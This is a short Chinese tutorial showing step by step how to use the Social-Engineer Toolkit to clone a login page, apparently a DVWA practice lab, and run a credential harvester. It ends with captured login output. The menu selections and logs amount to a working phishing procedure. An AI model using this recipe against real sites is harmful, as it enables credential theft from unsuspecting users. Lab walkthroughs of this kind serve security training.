使用setoolkit克隆站点窃取用户信息
1.启动setoolkit工具后选择:1
meng@mengs-MacBook-Air ~ % sudo setoolkit
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
2.接着选择:2
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.
3.然后选择:3
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu
4.最后选择:2
1) Web Templates
2) Site Cloner
3) Custom Import
5.然后粘贴复制要克隆的网站即可完成
Enter the IP address for POST back in Harvester/Tabnabbing:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: http://49.232.106.183/dvwa-labs/login.php
Enter your IP address:
[*] Cloning the website: http://49.232.106.183/dvwa-labs/login.php
[*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
10.22.15.143 - - [09/Mar/2022 15:58:14] "GET / HTTP/1.1" 200 -
10.22.15.143 - - [09/Mar/2022 15:58:14] "GET /favicon.ico HTTP/1.1" 404 -
6.最后等待用户输入用户名和密码即可窃取到信息
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=admin
POSSIBLE PASSWORD FIELD FOUND: password=password
POSSIBLE USERNAME FIELD FOUND: Login=Login
POSSIBLE USERNAME FIELD FOUND: user_token=dbead6dc251e06b68ddbbc71160bf26b
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.